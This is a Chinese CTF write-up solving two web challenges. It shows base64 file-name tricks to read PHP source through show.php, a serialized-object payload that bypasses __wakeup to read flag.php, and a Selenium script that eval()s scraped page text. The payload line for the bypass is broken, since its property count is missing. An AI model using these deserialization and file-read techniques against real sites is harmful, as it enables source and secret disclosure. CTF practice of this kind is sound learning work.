1.easyphp

1.1.题目描述

题目首先是一张不存在的图片

查看源码发现只有一句话

<img src="show.php?img=aGludC5qcGc=" width="100%"/>

点开源码中图片的链接,跳转到下面的页面

img 后面的内容很像是 base64 编码,经过解码验证,确实是 base64 编码,还原后是 hint.jpg 。

尝试把 img 后面的参数用 flag.jpg、flag.php、flag 的base64编码代替后访问,并没有获取到有价值内容

直接访问 index.php 或者 show.php 也看不到任何东西,所以看看能不能利用 img 这个参数读取两个php源码

index.php 的 base64编码为 aW5kZXgucGhw

show.php 的 base64 编码为 c2hvdy5waHA=

经过尝试后,这时通过源码已经可以读取到内容,内容分别如下

index.php

<?php
require_once('hint.php');
$x = new hint();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
echo $x;
}
?>
<img src="show.php?img=aGludC5qcGc=" width="100%"/>

show.php

<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'flag')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

从 index.php 的源码里看到还有个 hint.php,用同样的方法读取,内容如下

hint.php 的 base64 编码为 aGludC5waHA=

<?php
error_reporting(0);
//flag is in flag.php
class hint{
public $file='';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else die('Wrong filename.');
}}
function __wakeup(){ $this-> file='index.php'; }
public function __toString(){return '' ;}}
?>

1.2.代码审计

hint.php 里面告诉我们 flag 在 flag.php中,所以我们要尝试去读取到这个 php 文件

show.php 里面用 stripos 限制了我们读取的内容,我们不能通过 show.php 的方式来读取到 flag.php

hint 里面定义了一个 hint 类,这个类有个 show_source(dirname (__FILE__).'/'.$this ->file); 方法,可以读取我们的 php 文件

而在 index.php 里面用到了 unserialize() 函数,用来反序列化一个 hint 对象,我们可以尝试使用反序列化的方式来读取 flag.php

1.3.Payload构造

将 hint.php 复制到本地,然后添加下面几行代码,通过网页取得序列化后的字符串

$x=new hint();
$x->file="flag.php";
echo serialize($x);

O:4:"hint":1:{s:4:"file";s:8:"flag.php";}

序列化字符串的含义可以参考:https://www.cnblogs.com/dogecheng/p/11652022.html

根据 index.php 的源码,我们把这个字符串赋值给 class 就好了,但是并没有取得 flag

在网上查询了一些资料后得知,通过 unserialize 反序列化之后,还会调用 __wakeup() 方法,它会把 file 设为 index.php,所以读取的并不是 flag.php

https://blog.csdn.net/bylfsj/article/details/101385852

我们需要绕过 __wakeup() 函数,但是绕过方法很简单。当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。

我们原来的序列化字符串为:

O:4:"hint":1:{s:4:"file";s:8:"flag.php";}

我们只需要把 1 改成比它大的数字即可

O:4:"hint"::{s:4:"file";s:8:"flag.php";}

这时候重新提交请求就能获得 flag 了

2.calculate

2.1.题目描述

题目如下

要求我们回答10道计算题。经过测试,每道题要在3秒内答对,答错或超时清零回答正确的问题个数。而且答题间隔要在1秒以上

页面源码如下,计算表达式 都在 div 中

<h1>calculate</h1>

<p>Answer the questions for 10 times and you can get flag.</p>
<p> You Have answered 0銆€questions;</p> <form action="" method="post">
<div style="display:inline;color:#499E86">6</div><div style="display:inline;color:#BC2109">1</div><div style="display:inline;color:#E20AAD">5</div><div style="display:inline;color:#AE2893">+</div><div style="display:inline;color:#A3A7DA">9</div><div style="display:inline;color:#72311C">9</div><div style="display:inline;color:#7D99E9">7</div><div style="display:inline;color:#3DB475">+</div><div style="display:inline;color:#2144AE">6</div><div style="display:inline;color:#8523C0">1</div><div style="display:inline;color:#D42154">5</div><div style="display:inline;color:#DD166F">*</div><div style="display:inline;color:#0ADBF4">9</div><div style="display:inline;color:#116660">9</div><div style="display:inline;color:#4F6723">7</div><div style="display:inline;color:#7F7A0D">=</div>
<input type="text" name="ans">
<input type="submit" value="send!">
</form>

2.2.脚本编写

一开始用 python 的 requests 库来做,没有成功,自己的代码估计有小BUG,后来改用 selenium 来做就成功了 ,代码如下:

from selenium import webdriver
from bs4 import BeautifulSoup
import time driver=webdriver.Firefox()
driver.get("http://****:13002/") def submit(driver):
# 获取源码
source = driver.page_source
# BeautifulSoup解析
soup = BeautifulSoup(source, "lxml")
all_div = soup.find_all(name="div") # 获取表达式
s = ""
for i in all_div:
s = s + i.contents[0]
# 去掉等号
s = s[:-1]
print(s) # 计算
res = eval(s) # 填入答案
element = driver.find_element_by_name("ans")
element.send_keys(res) # 等待 1.1 秒
time.sleep(1.1) # 提交答案
driver.find_element_by_xpath("/html/body/form/input[2]").click()
print("click") for i in range(10):
submit(driver)

回答 10 次后在页面上就会出现 flag

两道CTF Web的题目的更多相关文章

  1. leetcode简单题目两道(2)

    Problem Given an integer, write a function to determine if it is a power of three. Follow up: Could ...

  2. 2019CISCN华南线下两道web复现

    原帖地址 : https://xz.aliyun.com/t/5558 2019CISCN华南线下的两个简单 web 部分题目下载地址,有的不完整 : 点我点我 web 1 考点 : 无参函数的 RC ...

  3. 你所不知道的库存超限做法 服务器一般达到多少qps比较好[转] JAVA格物致知基础篇:你所不知道的返回码 深入了解EntityFramework Core 2.1延迟加载(Lazy Loading) EntityFramework 6.x和EntityFramework Core关系映射中导航属性必须是public? 藏在正则表达式里的陷阱 两道面试题,带你解析Java类加载机制

    你所不知道的库存超限做法 在互联网企业中,限购的做法,多种多样,有的别出心裁,有的因循守旧,但是种种做法皆想达到的目的,无外乎几种,商品卖的完,系统抗的住,库存不超限.虽然短短数语,却有着说不完,道不 ...

  4. ACM/ICPC 之 SPFA范例两道(POJ3268-POJ3259)

    两道以SPFA算法求解的最短路问题,比较水,第二题需要掌握如何判断负权值回路. POJ3268-Silver Cow Party //计算正逆最短路径之和的最大值 //Time:32Ms Memory ...

  5. 两道面试题,带你解析Java类加载机制

    文章首发于[博客园-陈树义],点击跳转到原文<两道面试题,带你解析Java类加载机制> 在许多Java面试中,我们经常会看到关于Java类加载机制的考察,例如下面这道题: class Gr ...

  6. 【转】两道面试题,带你解析Java类加载机制(类初始化方法 和 对象初始化方法)

    本文转自 https://www.cnblogs.com/chanshuyi/p/the_java_class_load_mechamism.html 关键语句 我们只知道有一个构造方法,但实际上Ja ...

  7. 『ACM C++』Virtual Judge | 两道基础题 - The Architect Omar && Malek and Summer Semester

    这几天一直在宿舍跑PY模型,学校的ACM寒假集训我也没去成,来学校的时候已经18号了,突然加进去也就上一天然后排位赛了,没学什么就去打怕是要被虐成渣,今天开学前一天,看到最后有一场大的排位赛,就上去试 ...

  8. 穷举(四):POJ上的两道穷举例题POJ 1411和POJ 1753

    下面给出两道POJ上的问题,看如何用穷举法解决. [例9]Calling Extraterrestrial Intelligence Again(POJ 1411) Description A mes ...

  9. 两道人数多,课程少,query多的题

    #每天进步一点点# 来两道很相似的题目~ (智商啊智商.....) hihoCoder #1236:Scores (简单的分桶法+bitset) 2015 Beijing Online的最后一题.题目 ...

随机推荐

  1. Python核心技术与实战——六|异常处理

    和其他语言一样,Python中的异常处理是很重要的机制和代码规范. 一.错误与异常 通常来说程序中的错误分为两种,一种是语法错误,另一种是异常.首先要了解错误和异常的区别和联系. 语法错误比较容易理解 ...

  2. VMware使用自带工具vmware-vdiskmanager精简占用磁盘空间

    https://blog.csdn.net/xcl113/article/details/50715943 vmware-vdiskmanager压缩磁盘大小,验证有效 一 .sudo apt-get ...

  3. LA 4327 Parade(单调队列优化dp)

    题目链接: 题目大意(摘自刘汝佳<<算法竞赛入门经典--训练指南>>):F城是由n+1条横向路和m+1条竖向路组成.你的任务是从最南边的路走到最北边的路,使得走过的路上的高兴值 ...

  4. Python---TKinter项目实战---屏保

    ### 项目分析 - 屏保可以自己启动,也可以手动启动 - 一旦敲击键盘或者移动鼠标后,或者其他的引发时间,则停止 - 如果屏保是一幅画的话,则没有画框 - 图像的动作是随机的,具有随机性,可能包括颜 ...

  5. 【NOIP2016提高A组8.12】总结

    惨败!!!! 第一题是一道神奇的期望问题. 第二题,发现"如果两个部门可以直接或间接地相互传递消息(即能按照上述方法将信息由X传递到Y,同时能由Y传递到X),我们就可以忽略它们之间的花费&q ...

  6. mysql CREATE TABLE语句 语法

    mysql CREATE TABLE语句 语法 作用:创建数据库中的表. 大理石量具系列 语法:CREATE TABLE 表名称 (列名称1 数据类型,列名称2 数据类型,列名称3 数据类型,.... ...

  7. int转字符串 stringstream

    1. 设定一个任意数字串,数出这个数中的偶数个数,奇数个数,及这个数中所包含的所有位数的总数,将答案按 “偶-奇-总” 的位序,排出得到新数.重复进行,最后会得到 123. #include<i ...

  8. Web 与 Node 基础

    浏览器端发送请求(browser) 浏览器或者模拟发送 http 请求端 服务端处理请求(web) 服务器(使用 node ) 2.1. 使用 Forever 管理程序 2.2. 可以使用 PM2 代 ...

  9. echarts画环形图

    alarmManage(){ let drawLine = echarts.init(document.getElementById('data-alarmManage-table-wrap')); ...

  10. 在 mac 系统上安装 python 的 MySQLdb 模块

    在 mac 系统上安装 python 的 MySQLdb 模块 特别说明:本文主要参考了Mac系统怎么安装MySQLdb(MySQL-Python) 第 1 步:下载 MySQL-python-1.2 ...